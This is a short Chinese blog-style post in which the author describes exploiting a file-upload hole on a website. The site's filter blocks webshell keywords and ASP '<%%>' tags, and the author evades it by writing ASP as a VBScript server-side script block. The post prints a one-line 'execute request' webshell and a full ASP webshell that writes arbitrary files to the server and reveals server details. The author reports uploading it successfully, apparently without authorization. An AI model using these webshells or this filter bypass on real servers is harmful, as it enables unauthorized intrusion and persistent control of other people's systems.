今 看了一个站。 有上传漏洞 。
但是悲剧的是。 怎么传。都是显示空白。 经验告诉我。 我遇到了一流监控系统 。
判断文件里是不是存在非法字符。 非法字符也就是它自身设置好的关键词。 一般都是 web 大马等上面的关键词。
只要存在。 直接把整个文件过滤成空白。 也就是今我遇到是一样的。
上传测试。 发现。他不仅仅过滤一般的大马关键词、一句话的关键 函数。 = =|||
他竟然直接判断是否存在 <%%> 这是所有asp都存在的 = =!! 需要传能解析的 asp.
怎么能少了 <%%>呢?
如何突破呢? 我翻我的一句话的时候看到了一个东西。
如下:
<script language=VBScript runat=server>execute request("1")</Script> //不需要用到<%%>
这不就是一般的script的书写方式么。 然后这玩意给了我灵感。
我去把一个小马修改为这种方式。
结果上传成功了。 也没被过滤了。 哈哈。
Code:
<script language=VBScript runat=server>
dim da
set fso=server.createobject("scripting.filesystemobject")
path=request("path")
if path<>"" then
data=request("da")
set da=fso.createtextfile(path,true)
da.write data
if err=0 then
Response.Write "yes"
else
Response.Write "no"
end if
err.clear
end if
set da=nothing
set fos=nothing
Response.Write "<form action='' method=post>"
Response.Write "<input type=text name=path>"
Response.Write "<br>"
Response.Write "当前文件路径:"&server.mappath(request.servervariables("script_name"))
Response.Write "<br>"
Response.Write "操作系统为:"&Request.ServerVariables("OS")
Response.Write "<br>"
Response.Write "WEB服务器版本为:"&Request.ServerVariables("SERVER_SOFTWARE")
Response.Write "<br>"
Response.Write "<textarea name=da cols=50 rows=10 width=30></textarea>"
Response.Write "<br>"
Response.Write "<input type=submit value=save>"
Response.Write "</form>"
</Script>